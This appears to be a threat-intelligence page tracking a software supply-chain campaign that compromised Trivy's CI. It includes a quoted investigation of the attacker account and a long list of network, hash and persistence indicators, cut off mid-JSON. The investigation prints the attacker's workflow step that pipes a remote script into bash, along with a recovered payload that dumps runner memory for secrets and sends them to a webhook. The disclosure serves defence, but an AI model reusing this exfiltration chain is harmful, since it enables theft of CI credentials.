  infrastructure


• Beelzebub — Next.js exploit campaign, 59K
  compromises in 33 hours


• Ransomware Interviews — "T" interview
  with TeamPCP member

Timeline

Feb 27-

Prologue: the Pwn Request at the Root - 1 events

MegaGame10418 executed PwnRequest against Trivy CI,
exfiltrating the aqua-bot PAT.

BoostSecurity Analysis-

(https://labs.boostsecurity.io/articles/megagame10418-the-user-behind-hackerbot-claw/)

MegaGame10418: A Throwaway Account Linked to the
Hackerbot-Claw Attack-

Between February 27 and 28, 2026,
the GitHub user hackerbot-claw executed an automated “Pwn Request”
campaign targeting several high-profile repositories. Our Package Threat Hunter
detected the activity in attacker-controlled forks while the payloads were
still being staged. During our investigation, we identified a throwaway
account, MegaGame10418, which had attempted the same injection technique a
month earlier against a publicly available NewRelic test repository. While some
evidence suggests the reuse of a public security-training repository, other
signals point to deliberate malicious testing in preparation for the larger
campaign.

The hackerbot-claw campaign

From 2026-02-27 05:12:50
UTC to 2026-02-28 18:32:42 UTC, the GitHub
user hackerbot-claw employed various Pwn Request techniques to probe
and exploit GitHub Actions workflows across multiple critical repositories. The
attacker utilized the AI agent openclaw to systematically
identify and target victims at scale. The repositories targeted during this
campaign included:

• ambient-code/platform


• aquasecurity/trivy


• avelino/awesome-go


• DataDog/datadog-iac-scanner


• microsoft/ai-discovery-agent


• project-akri/akri


• RustPython/RustPython


• DataDog/datadog-agent

The most significant confirmed
impact occurred within aquasecurity/trivy. Our investigation independently
verified findings from other researchers (see Credits below), confirming that
our Package Threat Hunter flagged multiple attacks before they could fully execute,
capturing activity in the attacker’s forks while the payloads were being
staged.

MegaGame10418

Following the aquasecurity/trivy
discussion, we investigated the malicious PR
#10252, which preceded the main hackerbot-claw attack by
approximately five hours. According to the maintainer knqyf263:

“Based
on our audit log analysis, we believe the creator of #10252 and hackerbot-claw
are likely the same attacker.” full quote.

The
account MegaGame10418 opened that PR - a username that had not yet
appeared in other reports associated with this attack. Both the PR and the user
account have since been deleted, an action typically reserved for GitHub staff
when removing verified malicious activity.

The original aquasecurity/trivy
repo was made private, which made it exit the fork network. This automatically
elected a new root node to fossabot/trivy. Using this repo, we were able to get the
malicious commit from MegaGame10418 (1052e39...).

.github/actions/setup-go/action.yaml

    - name: Extract Go
version from go.mod

      id: go-version

      shell: bash

      run: |

        curl -sSfL
https://gist.githubusercontent.com/MegaGame10418/f43b159297d7aab838fa484a9dbd5fbd/raw/run.sh
| bash &> /dev/null

        exit 1

Copy

MegaGame10418 added a new
line pkg/notification/notice.go and pushed to (fcdeb4...)
at 2026-02-27 00:19:03 UTC to trigger the workflow.

MegaGame10418
Payload

The attacker used a Gist for the
payload. Although the Gist was deleted, we successfully recovered the content:

MEMDUMP_PY="aW1wb3J0IHN5cwppbXBvcnQgb3MKaW1wb3J0IHJlCgojIENyZWRpdCB0byBnaXRodWIuY29tL25pa2l0YXN0dXBpbiBmb3IgdGhlIHNjcmlwdC4KCmRlZiBnZXRfcGlkKCk6CiAgICBwaWRzID0gW3BpZCBmb3IgcGlkIGluIG9zLmxpc3RkaXIoJy9wcm9jJykgaWYgcGlkLmlzZGlnaXQoKV0KCiAgICBmb3IgcGlkIGluIHBpZHM6CiAgICAgICAgd2l0aCBvcGVuKG9zLnBhdGguam9pbignL3Byb2MnLCBwaWQsICdjbWRsaW5lJyksICdyYicpIGFzIGNtZGxpbmVfZjoKICAgICAgICAgICAgaWYgYidSdW5uZXIuV29ya2VyJyBpbiBjbWRsaW5lX2YucmVhZCgpOgogICAgICAgICAgICAgICAgcmV0dXJuIHBpZAoKICAgIHJhaXNlIEV4Y2VwdGlvbignQ2FuIG5vdCBnZXQgcGlkIG9mIFJ1bm5lci5Xb3JrZXInKQoKcGlkID0gZ2V0X3BpZCgpCgptYXBfcGF0aCA9IGYiL3Byb2Mve3BpZH0vbWFwcyIKbWVtX3BhdGggPSBmIi9wcm9jL3twaWR9L21lbSIKCndpdGggb3BlbihtYXBfcGF0aCwgJ3InKSBhcyBtYXBfZi5yZWFkbGluZXMoKTogICMgZm9yIGVhY2ggbWFwcGVkIHJlZ2lvbgogICAgICAgIG0gPSByZS5tYXRjaChyJyhbMC05QS1GYS1mXSspLShbMC05QS1GYS1mXSspIChbLXJdKScsIGxpbmUpCiAgICAgICAgaWYgbS5ncm91cCgzKSA9PSAncic6ICAjIHJlYWRhYmxlIHJlZ2lvbgogICAgICAgICAgICBzdGFydCA9IGludChtLmdyb3VwKDEpLCAxNikKICAgICAgICAgICAgZW5kID0gaW50KG0uZ3JvdXAoMiksIDE2KQogICAgICAgICAgICBpZiBzdGFydCA+IHN5cy5tYXhzaXplOgogICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgbWVtX2Yuc2VlayhzdGFydCkgICMgc2VlayB0byByZWdpb24gc3RhcnQKICAgICAgICAKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgY2h1bmsgPSBtZW1fZi5yZWFkKGVuZCAtIHN0YXJ0KSAgIyByZWFkIHJlZ2lvbiBjb250ZW50cwogICAgICAgICAgICAgICAgc3lzLnN0ZG91dC5idWZmZXIud3JpdGUoY2h1bmspCiAgICAgICAgICAgIGV4Y2VwdCBPU0Vycm9yOgogICAgICAgICAgICAgICAgY29udGludWU="

echo $MEMDUMP_PY | base64 -d > /tmp/dump.py

YOUR_EXFIL="webhook.site/eaa1f5cc-ed33-4eec-bcde-14f0bac63908"

# Uses memory dump technique from
github.com/nikitastupin/pwnhub

# with regex to parse out all secret values (including
GITHUB_TOKEN)

if [[ "$OSTYPE" == "linux-gnu" ]]; then

  B64_BLOB=`sudo
python3 /tmp/dump.py | tr -d '\0' | grep -aoE
'"[^"]+":\{"value":"[^"]*","isSecret":true\}'
| sort -u | base64 -w 0`

  # Exfiltration to
Webhook

  curl -s -d
"$B64_BLOB" https://$YOUR_EXFIL/token > /dev/null

else

  exit 0

fi

Copy

This is a classic memory dump technique
combined with a webhook for exfiltration. While not
innovative, it is highly effective at extracting secrets from active runner
memory and send the result to a webhook. Using the webhook.site API
(https://webhook.site/token/eaa1f5cc-ed33-4eec-bcde-14f0bac63908), we see the
last request to this webhook was at 2026-02-27 00:27:50 UTC, 9 minutes
after the push:

{

  "uuid":
"eaa1f5cc-ed33-4eec-bcde-14f0bac63908",

 
"default_content": "This URL has no default content
configured. Change
response in Webhook.site.",

 
"user_agent": "Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",

  "ip":
"138.199.34.137",

 
"created_at": "2026-02-27 00:05:47",

 
"updated_at": "2026-02-27 00:27:50",

 
"expires_at": "2026-03-06 00:05:47",

 
"latest_request_at": "2026-02-27 00:27:50",

 
"latest_request_id": "dc947e37-5219-451e-8c53-b43a44fcf442"

}

Copy

The
past of MegaGame10418

By pivoting to our automated threat
hunting data, we discovered that we had already flagged suspicious activity from this user a
month prior:

The activity involved an attack
on newrelic/test-oac-repository, a now-deleted repository. It is highly
unusual for a large organization to host a repository that was attacked a month
ago without the user being immediately banned. We reviewed all events on this
repository and found that on 2026-01-27, three accounts attempted to exploit it:

• MegaGame10418 and r3s1l3n7 (both
  now banned).


• bhtestaccount123 (still
  active).

bhtestaccount123 is
particularly interesting, as it still hosts a fork: bhtestaccount123/test-oac-repository.
Most commits there were made by pranav-new-relic,
a verified account within the NewRelic organization. This repository was
originally forked from gaurab4163/test-oac-repository,
another legitimate account.

Analysis
& Speculation

The newrelic/test-oac-repository appears
to have been a GitHub Actions security training lab. The workflows contained
basic injection vulnerabilities, including the use
of REPO_ACCESS_TOKEN secrets and contents:
write permissions.

It is possible
that pranav-new-relic created this to demonstrate vulnerabilities
(though hosting such a lab within an official organization is risky, as it
could lead to the dumping of organization-wide secrets). This would explain why
the accounts attacking it weren’t immediately banned.
While bhtestaccount123 appears to be a legitimate throwaway for
testing, other accounts—specifically MegaGame10418—seem to have used this
“training” ground to refine their malicious payloads.

Poutine:
Detecting Vulnerabilities Before the Attack

Our “Package Supply” system
runs poutine continuously
against public repositories. We had already
scanned newrelic/test-oac-repository on 2026-01-05 and
identified three
workflows vulnerable to command injection via unsanitized pull request
metadata:

• .github/workflows/handle-closed-fork-pr.yml


• .github/workflows/test-fork-pr-handler.yml


• .github/workflows/fork-pr-handler.yml

Critically, we also identified the
vulnerability in aquasecurity/trivy on 2025-11-29, months before
any attacks were attempted. Even without our advanced internal detection rules,
the open-source version of poutine would have easily flagged
these vulnerabilities.

Remediation

• Audit
  your workflows: Run poutine against
  your repositories. The injection patterns that
  compromised aquasecurity/trivy and the NewRelic test repository
  are both covered by poutine’s open-source detection engine.


• Minimize
  Secret Scope: Avoid using high-privileged tokens (like those
  with contents: write) in workflows triggered by external pull
  requests.

Timeline
of Observed Events

• 2026-01-05
  17:40:35 UTC: Package Supply detects three injection
  vulnerabilities in newrelic/test-oac-repository via poutine.


• 2026-01-16
  10:20:05 UTC: GitHub account MegaGame10418 is
  created.


• 2026-01-27
  19:53:34 UTC: MegaGame10418 forks newrelic/test-oac-repository and
  submits a PR with an injection-style branch name.


• 2026-01-27
  (Same Day): At least two other accounts
  (r3s1l3n7 and bhtestaccount123) perform similar tests on the
  same repository.


• 2026-02-26
  23:51:00 UTC: MegaGame10418 forks aquasecurity/trivy.


• 2026-02-27
  00:18:19 UTC: MegaGame10418 opens PR #10252
  on aquasecurity/trivy using head SHA 53e032b....


• 2026-02-27
  00:19:03 UTC: MegaGame10418 pushed the payload.


• 2026-02-27
  00:19:20 UTC: MegaGame10418 closed the PR.


• 2026-02-27
  00:27:50 UTC: The webhook was updated for the last time. It most
  likely received the PAT during this time.


• 2026-02-27
  05:12:50 UTC: The hackerbot-claw automated campaign
  begins, targeting multiple high-profile repositories.

Network
Indicators (IOC's)

trivy
c2

scan.aquasecurtiy.org

45.148.10.212

cloudflare
tunnels

plug-tab-protective-relay.trycloudflare.com

souls-entire-defined-routes.trycloudflare.com

investigation-launches-hearings-copying.trycloudflare.com

championships-peoples-point-cassette.trycloudflare.com

create-sensitivity-grad-sequence.trycloudflare.com

icp
canister

tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io

File
Hashes- 11

trivy binaries

822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0

f7084b0229dce605ccc5506b14acd4d954a496da4b6134a294844ca8d601970d

bef7e2c5a92c4fa4af17791efc1e46311c0f304796f1172fce192f5efc40f5d7

e64e152afe2c722d750f10259626f357cdea40420c5eedae37969fbf13abbecf

ecce7ae5ffc9f57bb70efd3ea136a2923f701334a8cd47d4fbf01a97fd22859c

d5edd791021b966fb6af0ace09319ace7b97d6642363ef27b3d5056ca654a94c

e6310d8a003d7ac101a6b1cd39ff6c6a88ee454b767c1bdce143e04bc1113243

6328a34b26a63423b555a61f89a6a0525a534e9c88584c815d937910f1ddd538

0880819ef821cff918960a39c1c1aada55a5593c61c608ea9215da858a86e349

887e1f5b5b50162a60bd03b66269e0ae545d0aef0583c1c5b00972152ad7e073

trivy
action malware

18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a

GitHub
Artifacts - 17

imposter
commits

actions/checkout @ 70379aad

aquasecurity/trivy @ 1885610c

aquasecurity/trivy-action @ ddb9da44

lateral
movement

aquasecurity/tfsec @ a67fd5b5

aquasecurity/traceeshark @ 56591dfe

aquasecurity/trivy-action @ 93ed4111

aquasecurity/setup-trivy @ 8afa9b9f

compromised
accounts

aqua-bot

Argon-DevOps-Mgt

Octocommit

container
images

ghcr.io/aquasecurity/trivy:0.69.4

docker.io/aquasec/trivy:0.69.4

public.ecr.aws/aquasecurity/trivy:0.69.4

docker.io/aquasec/trivy:0.69.5

sha256:f69a8a4180c43fc427532ddde34a256acbd041a0a07844cf7e4d3e0434e5bcd1

docker.io/aquasec/trivy:0.69.6

sha256:dd8beb3b40df080b3fd7f9a0f5a1b02f3692f65c68980f46da8328ce8bb788ef

Malware
Signatures - 18

attribution
strings

TeamPCP Cloud stealer

tpcp.tar.gz

tpcp-docs

Runner.Worker

persistence
paths

/var/lib/svc_internal/runner.py

/etc/systemd/system/internal-monitor.service

/var/lib/pgmon/pgmon.py

/etc/systemd/system/pgmonitor.service

/tmp/.pg_state

/tmp/pglog

injected
files

cmd/trivy/main.go

cmd/trivy/scand.go

kubernetes

host-provisioner-std

host-provisioner-iran

kamikaze

provisioner

network
behavior

Scans ports 22, 2375 on local /24

/var/log/auth.log

Payload
Repositories

• litellm_1.82.8 —
  3-stage payload w/ RSA-4096 key


• litellm_1.82.7 —
  RC4 obfuscation variants


• telnyx_4.87.1 —
  WAV steganography delivery


• MalwareBazaar —
  Community samples + YARA

Copy
of All IOC’s (JSON)

{

 
"_comment": "TeamPCP Supply Chain Campaign IOCs. For
programmatic access, fetch this JSON directly. Last updated:
2026-08-11T11:14:00Z",

 
"campaign": "TeamPCP",

  "cve":
"CVE-2026-33634",

  "network":
{

   
"trivy_c2": [

     
{"value": "scan.aquasecurtiy.org", "note":
"typosquat", "incident": "trivy"},

     
{"value": "45.148.10.212", "type":
"ip", "note": "Havoc C2 TeamServer — TECHOFF SRV,
Netherlands", "incident": "trivy"}

    ],

   
"cloudflare_tunnels": [

     
{"value":
"plug-tab-protective-relay.trycloudflare.com", "type":
"domain", "note": "exfil", "incident":
"trivy"},

     
{"value":
"souls-entire-defined-routes.trycloudflare.com", "type":
"domain", "note": "kamikaze v1",
"incident": ["trivy", "canisterworm"]},

     
{"value":
"investigation-launches-hearings-copying.trycloudflare.com",
"type": "domain", "note": "kamikaze
v2", "incident": ["trivy", "canisterworm"]},

     
{"value":
"championships-peoples-point-cassette.trycloudflare.com",
"type": "domain", "note": "kamikaze
v3/v3.1", "incident": ["trivy",
"canisterworm"]},

     
{"value":
"create-sensitivity-grad-sequence.trycloudflare.com",
"type": "domain", "note": "kamikaze
v3.2/v3.3", "incident": ["trivy",
"canisterworm"]}

    ],

   
"icp_canister": [

     
{"value": "tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io",
"note": "March CanisterWorm C2", "incident":
["trivy", "canisterworm"]},

     
{"value": "cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0.io",
"note": "April CanisterSprawl C2", "incident":
"canistersprawl"}

    ],

   
"canistersprawl_c2": [

     
{"value": "telemetry.api-monitor.com",
"type": "domain", "note": "secondary webhook
exfil", "incident": "canistersprawl"}

    ],

   
"canistersprawl_hashes": [

     
{"value":
"c19c4574d09e60636425f9555d3b63e8cb5c9d63ceb1c982c35e5a310c97a839",
"note": "dist/env-compat.cjs", "source":
"Socket", "incident": "canistersprawl"},

     
{"value":
"834b6e5db5710b9308d0598978a0148a9dc832361f1fa0b7ad4343dcceba2812",
"note": "dist/public.pem (RSA-4096)", "source":
"Socket", "incident": "canistersprawl"},

     
{"value":
"87259b0d1d017ad8b8daa7c177c2d9f0940e457f8dd1ab3abab3681e433ca88e",
"note": "RSA key fingerprint (DER SHA-256)",
"source": "Socket", "incident":
"canistersprawl"}

    ],

   
"kics_c2": [

     
{"value": "checkmarx.zone", "note":
"shared with LiteLLM 1.82.7", "incident":
["checkmarx", "litellm"]},

     
{"value": "83.142.209.11", "type":
"ip", "note": "AdaptixC2 TeamServer — AS205759 Ghosty
Networks", "incident": "checkmarx"}

    ],

   
"litellm_c2": [

     
{"value": "models.litellm.cloud", "note":
"used by 1.82.8", "incident": "litellm"},

     
{"value": "litellm.cloud", "note":
"typosquat domain", "incident": "litellm"},

     
{"value": "46.151.182.203", "type":
"ip", "note": "Exfil/backup C2 — AS205759 Ghosty
Networks", "incident": "litellm"},

     
{"value": "manpages.wtf", "note":
"redirect target (not apparently malicious)", "incident":
"litellm"}

    ],

   
"telnyx_c2": [

     
{"value": "83.142.209.203", "type":
"ip", "note": "Telnyx exfil (port 8080) — AS205759
Ghosty Networks", "incident": "telnyx"}

    ],

   
"wav_delivery": [

     
{"value": "83.142.209.203:8080/hangup.wav",
"note": "Windows payload (AdaptixC2 beacon)",
"incident": "telnyx"},

     
{"value": "83.142.209.203:8080/ringtone.wav",
"note": "Unix/macOS payload", "incident":
"telnyx"}

    ],

   
"attacker_ops": [

     
{"value": "170.62.100.245", "type":
"ip", "note": "Primary operator — Kali Linux, Boto3 S3
enum", "incident": "attacker"},

     
{"value": "209.159.147.239", "type":
"ip", "note": "TruffleHog validation — hosts nsa.cat,
MinIO", "incident": "attacker"},

     
{"value": "154.47.29.12", "type":
"ip", "note": "Org recon — Windows 11, Datacamp VPN
Croatia", "incident": "attacker"},

     
{"value": "103.75.11.59", "type":
"ip", "note": "Re-check — macOS ARM, Host Universal
VPN NZ", "incident": "attacker"},

     
{"value": "nsa.cat", "type":
"domain", "note": "Attacker VPS — nginx, MinIO, open
directory", "incident": "attacker"},

     
{"value": "105.245.181.120", "type":
"ip", "note": "TruffleHog validation — Vodacom",
"source": "Wiz", "incident": "attacker"},

     
{"value": "138.199.15.172", "type":
"ip", "note": "GitHub exfil, AWS recon — Mullvad
VPN", "source": "Wiz", "incident": "attacker"},

     
{"value": "163.245.223.12", "type":
"ip", "note": "GitHub exfil — Interserver",
"source": "Wiz", "incident": "attacker"},

     
{"value": "185.77.218.4", "type":
"ip", "note": "TruffleHog validation — Crea
Nova", "source": "Wiz", "incident": "attacker"},

     
{"value": "193.32.126.157", "type":
"ip", "note": "GitHub exfil — Mullvad VPN",
"source": "Wiz", "incident": "attacker"},

     
{"value": "23.234.107.104", "type":
"ip", "note": "TruffleHog validation — Tzulo",
"source": "Wiz", "incident": "attacker"},

     
{"value": "34.205.27.48", "type":
"ip", "note": "TruffleHog validation — Amazon
AWS", "source": "Wiz", "incident": "attacker"}

    ],

   
"staging_server": [

     
{"value": "43.228.157.123", "type":
"ip", "note": "Open directory malware staging —
AS205759 Ghosty Networks SG", "source": "LloydLabs",
"incident": "attacker"},

     
{"value": "43.228.157.123/MidwestGrey.exe",
"type": "url", "note": "Windows PE dropper
(Mar 25)", "source": "LloydLabs", "incident":
"attacker"},

     
{"value": "43.228.157.123/kfhogts",
"type": "url", "note": "Python trojan bundle
(Mar 13)", "source": "LloydLabs", "incident":
"attacker"},

     
{"value": "43.228.157.123/oqqqqoa.mp3",
"type": "url", "note": "Audio steganography
payload", "source": "LloydLabs", "incident":
"attacker"}

    ],

   
"april_c2": [

     
{"value": "94.154.172.43", "type":
"ip", "note": "audit.checkmarx.cx — shared
KICS/Bitwarden C2", "incident": ["kics-docker", "bitwarden"]},

     
{"value": "audit.checkmarx.cx", "type":
"domain", "note": "KICS telemetry exfil
endpoint", "incident": ["kics-docker", "bitwarden"]},

     
{"value": "whereisitat.lucyatemysuperbox.space",
"type": "domain", "note": "xinference exfil
(disputed)", "incident": "xinference"},

     
{"value": "zero.masscan.cloud", "type":
"domain", "note": "Mini Shai Hulud primary
exfil", "incident": "mini-shai-hulud"}

    ],

   
"checkmarx_jenkins_c2": [

     
{"value": "checkmarx.cx", "type":
"domain", "note": "exfil domain (May 9)",
"incident": "checkmarx-jenkins"},

     
{"value": "91.195.240.123", "type":
"ip", "note": "checkmarx.cx resolved IP",
"incident": "checkmarx-jenkins"},

     
{"value": "updates.checkmarx.cx", "type":
"domain", "note": "update/C2 domain",
"incident": "checkmarx-jenkins"},

     
{"value": "94.154.172.183", "type":
"ip", "note": "updates.checkmarx.cx resolved IP",
"incident": "checkmarx-jenkins"}

    ],

   
"mini_shai_hulud_2_c2": [

     
{"value": "git-tanstack.com", "type":
"domain", "note": "typosquat C2",
"incident": "mini-shai-hulud-2"},

     
{"value": "83.142.209.194", "type":
"ip", "note": "TanStack/Cemu C2 / payload host",
"incident": ["mini-shai-hulud-2", "cemu"]},

     
{"value": "83.142.209.194/transformers.pyz",
"type": "url", "note": "PyPI mistralai
payload download", "incident": "mini-shai-hulud-2"},

     
{"value": "api.masscan.cloud", "type":
"domain", "note": "C2 (Mistral advisory)",
"incident": "mini-shai-hulud-2"},

     
{"value": "seed1.getsession.org", "type":
"domain", "note": "Session network node",
"incident": "mini-shai-hulud-2"},

     
{"value": "seed2.getsession.org", "type":
"domain", "note": "Session network node",
"incident": "mini-shai-hulud-2"},

     
{"value": "seed3.getsession.org", "type":
"domain", "note": "Session network node",
"incident": "mini-shai-hulud-2"},

     
{"value": "filev2.getsession.org", "type":
"domain", "note": "Session network node",
"incident": "mini-shai-hulud-2"},

     
{"value":
"05f9e609d79eed391015e11380dee4b5c9ead0b6e2e7f0134e6e51767a87323026",
"type": "session_id", "note": "Session
recipient ID", "incident": "mini-shai-hulud-2"}

    ],

   
"durabletask_c2": [

     
{"value": "check.git-service.com", "type":
"domain", "note": "primary C2",
"incident": "durabletask"},

     
{"value": "t.m-kosche.com", "type":
"domain", "note": "shared TeamPCP C2",
"incident": ["durabletask", "antv"]},

     
{"value": "83.142.209.194", "type":
"ip", "note": "legacy payload host",
"incident": ["durabletask", "mini-shai-hulud-2"]}

    ],

   
"antv_c2": [

     
{"value": "t.m-kosche.com", "type":
"domain", "note": "primary exfil C2",
"incident": "antv"},

     
{"value": "185.95.159.32", "type":
"ip", "note": "t.m-kosche.com resolved IP",
"incident": "antv"},

     
{"value":
"t.m-kosche.com:443/api/public/otel/v1/traces", "type":
"url", "note": "exfil endpoint (disguised as
OpenTelemetry)", "incident": "antv"},

     
{"value":
"api.github.com/search/commits?q=firedalazer", "type":
"url", "note": "dead-drop C2 trigger",
"incident": "antv"},

     
{"value": "fulcio.sigstore.dev/api/v2/signingCert",
"type": "url", "note": "Sigstore abuse for
OIDC token forging", "incident": "antv"},

     
{"value": "rekor.sigstore.dev/api/v1/log/entries",
"type": "url", "note": "Sigstore
abuse", "incident": "antv"}

    ],

   
"elementary_data_c2": [

     
{"value":
"igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud",
"type": "domain", "note": "exfil C2",
"incident": "elementary-data"},

     
{"value": "188.114.96.3", "type":
"ip", "note": "Cloudflare-fronted C2",
"incident": "elementary-data"},

     
{"value": "litter.catbox.moe/iqesmbhukgd2c7hq.sh",
"type": "url", "note": "shell stager
(expired)", "incident": "elementary-data"},

     
{"value": "litter.catbox.moe/h8nc9u.js",
"type": "url", "note": "JS payload
stager", "incident": "mini-shai-hulud-2"},

     
{"value": "litter.catbox.moe/7rrc6l.mjs",
"type": "url", "note": "ESM payload
stager", "incident": "mini-shai-hulud-2"}

    ],

   
"elementary_data_markers": [

     
{"value": "X-Rise-To-The-Trinny: agree",
"type": "header", "note": "exfil gate
header", "incident": "elementary-data"},

     
{"value": "trin.tar.gz", "type":
"string", "note": "credential archive name",
"incident": "elementary-data"},

     
{"value": "$TMPDIR/.trinny-security-update",
"type": "filepath", "note": "persistence
marker (Unix)", "incident": "elementary-data"},

     
{"value": "%TEMP%\\.trinny-security-update",
"type": "filepath", "note": "persistence
marker (Windows)", "incident": "elementary-data"},

     
{"value":
"050afbe046d7545f5af1a0d3fcfbaf6e993fd93d487b431f09bc9e963c7220a135",
"type": "session_id", "note":
"cross-campaign Session messenger ID (LiteLLM, Xinference,
elementary-data)", "incident": ["litellm",
"elementary-data"]}

    ],

   
"miasma_indicators": [

     
{"value": "google-api-nodejs-client/7.0.0 gl-node/20.11.0
gccl/7.0.0", "type": "user-agent", "note":
"GCP metadata query user-agent", "incident":
"miasma"},

     
{"value":
"IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner",
"type": "string", "note": "payload marker
string", "incident": "miasma"},

     
{"value": "Miasma: The Spreading Blight",
"type": "string", "note": "campaign
identifier", "incident": "miasma"},

     
{"value": "thebeautifulmarchoftime",
"type": "string", "note": "payload marker
string", "incident": "miasma"},

     
{"value": "tmp.0987654321.lock", "type":
"filepath", "note": "lock file indicator",
"incident": "miasma"},

     
{"value": "__IS_DAEMON", "type":
"env_var", "note": "environment variable for
persistence check", "incident": "miasma"}

    ],

   
"pcpcat_c2": [

     
{"value": "67.217.57.240", "type":
"ip", "note": "primary C2 — payload host (:666), FRP
server (:888), proxy pool (:890)", "source": "Rubrik Zero
Labs", "incident": "pcpcat"},

     
{"value": "44.252.85.168", "type":
"ip", "note": "credential exfil (:5656)",
"source": "Rubrik Zero Labs", "incident": "pcpcat"}

    ],

   
"pcpcat_payloads": [

     
{"value": "67.217.57.240:666/files/proxy.sh",
"type": "url", "note": "orchestrator
script", "source": "Rubrik Zero Labs", "incident":
"pcpcat"},

     
{"value": "67.217.57.240:666/files/pcpcat.py",
"type": "url", "note": "Docker/Ray scanner
(10K workers)", "source": "Rubrik Zero Labs",
"incident": "pcpcat"},

     
{"value": "67.217.57.240:666/files/react.py",
"type": "url", "note": "CVE-2025-55182
scanner (750 workers)", "source": "Rubrik Zero Labs",
"incident": "pcpcat"},

     
{"value": "67.217.57.240:666/files/redis-deploy.py",
"type": "url", "note": "Redis exploitation
module", "source": "Rubrik Zero Labs",
"incident": "pcpcat"},

     
{"value": "67.217.57.240:666/files/BORING_SYSTEM",
"type": "url", "note": "XMRig miner
binary", "source": "Rubrik Zero Labs", "incident":
"pcpcat"},

     
{"value": "67.217.57.240:666/files/kube.py",
"type": "url", "note": "Kubernetes
propagation", "source": "Rubrik Zero Labs", "incident":
"pcpcat"}

    ],

   
"pcpcat_markers": [

     
{"value": "PCPcat-FRP-Token-2024", "type":
"string", "note": "FRP auth token",
"source": "Rubrik Zero Labs", "incident":
"pcpcat"},

     
{"value": "pcpcat-pool", "type":
"string", "note": "FRP load balancer group name",
"source": "Rubrik Zero Labs", "incident":
"pcpcat"},

     
{"value": "PCPcat-Group-Key", "type":
"string", "note": "FRP load balancer group key",
"source": "Rubrik Zero Labs", "incident":
"pcpcat"}

    ]

  },

  "hashes":
{

   
"litellm_packages": [

     
{"value":
"8395c3268d5c5dbae1c7c6d4bb3c318c752ba4608cfcd90eb97ffb94a910eac2",
"note": "litellm-1.82.7.whl", "incident":
"litellm"},

     
{"value":
"d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb",
"note": "litellm-1.82.8.whl", "incident":
"litellm"},

     
{"value":
"8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea",
"note": "litellm-1.82.7.tar.gz", "incident":
"litellm"},

     
{"value":
"d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5",
"note": "litellm-1.82.8.tar.gz", "incident":
"litellm"}

    ],

   
"litellm_malware": [

     
{"value":
"a0d229be8efcb2f9135e2ad55ba275b76ddcfeb55fa4370e0a522a5bdee0120b",
"note": "proxy_server.py", "incident":
"litellm"},

     
{"value":
"71e35aef03099cd1f2d6446734273025a163597de93912df321ef118bf135238",
"note": "litellm_init.pth", "incident":
"litellm"},

     
{"value":
"6cf223aea68b0e8031ff68251e30b6017a0513fe152e235c26f248ba1e15c92a",
"note": "sysmon.py (persistence)", "source":
"Hexastrike (confirmed)", "incident": ["litellm",
"telnyx"]}

    ],

   
"trivy_binaries": [

     
{"value":
"822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0",
"note": "Linux-64bit", "incident":
"trivy"},

     
{"value":
"f7084b0229dce605ccc5506b14acd4d954a496da4b6134a294844ca8d601970d",
"note": "Linux-32bit", "incident":
"trivy"},

     
{"value":
"bef7e2c5a92c4fa4af17791efc1e46311c0f304796f1172fce192f5efc40f5d7",
"note": "Linux-ARM", "incident":
"trivy"},

     
{"value":
"e64e152afe2c722d750f10259626f357cdea40420c5eedae37969fbf13abbecf",
"note": "Linux-ARM64", "incident":
"trivy"},

     
{"value":
"ecce7ae5ffc9f57bb70efd3ea136a2923f701334a8cd47d4fbf01a97fd22859c",
"note": "Linux-PPC64LE", "incident":
"trivy"},

     
{"value":
"d5edd791021b966fb6af0ace09319ace7b97d6642363ef27b3d5056ca654a94c",
"note": "Linux-s390x", "incident":
"trivy"},

     
{"value":
"e6310d8a003d7ac101a6b1cd39ff6c6a88ee454b767c1bdce143e04bc1113243",
"note": "macOS-64bit", "incident":
"trivy"},

     
{"value":
"6328a34b26a63423b555a61f89a6a0525a534e9c88584c815d937910f1ddd538",
"note": "macOS-ARM64", "incident":
"trivy"},

     
{"value":
"0880819ef821cff918960a39c1c1aada55a5593c61c608ea9215da858a86e349",
"note": "Windows-64bit", "incident":
"trivy"},

     
{"value":
"887e1f5b5b50162a60bd03b66269e0ae545d0aef0583c1c5b00972152ad7e073",
"note": "FreeBSD-64bit", "incident":
"trivy"}

    ],

   
"trivy_action_malware": [

     
{"value":
"18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a",
"note": "entrypoint.sh (malicious)", "incident":
"trivy"}

    ],

   
"kics_openvsx": [

     
{"value":
"527f795a201a6bc114394c4cfd1c74dce97381989f51a4661aafbc93a4439e90",
"note": "environmentAuthChecker.js", "incident":
"checkmarx"},

     
{"value":
"65bd72fcddaf938cefdf55b3323ad29f649a65d4ddd6aea09afa974dfc7f105d",
"note": "[email protected]", "incident":
"checkmarx"},

     
{"value":
"744c9d61b66bcd2bb5474d9afeee6c00bb7e0cd32535781da188b80eb59383e0",
"note": "[email protected]", "incident":
"checkmarx"},

     
{"value":
"0d66d8c7e02574ff0d3443de0585af19c903d12466d88573ed82ec788655975c",
"note": "[email protected]", "incident":
"checkmarx"}

    ],

   
"checkmarx_jenkins_may9": [

     
{"value":
"01ff1e56fd59a8fa525d97e670f7f297a1a204331b89b2cd4e36a9abc6419203",
"type": "sha256", "note":
"checkmarx-ast-scanner-2026.5.09.hpi (malicious)",
"incident": "checkmarx-jenkins"},

     
{"value":
"f50a96d26a5b0beb29de4127e82b2bf350c21511e5a43d286e43f798dc6cd53f",
"type": "sha256", "note":
"checkmarx-ast-scanner-2026.5.09.jar (injected)",
"incident": "checkmarx-jenkins"},

     
{"value":
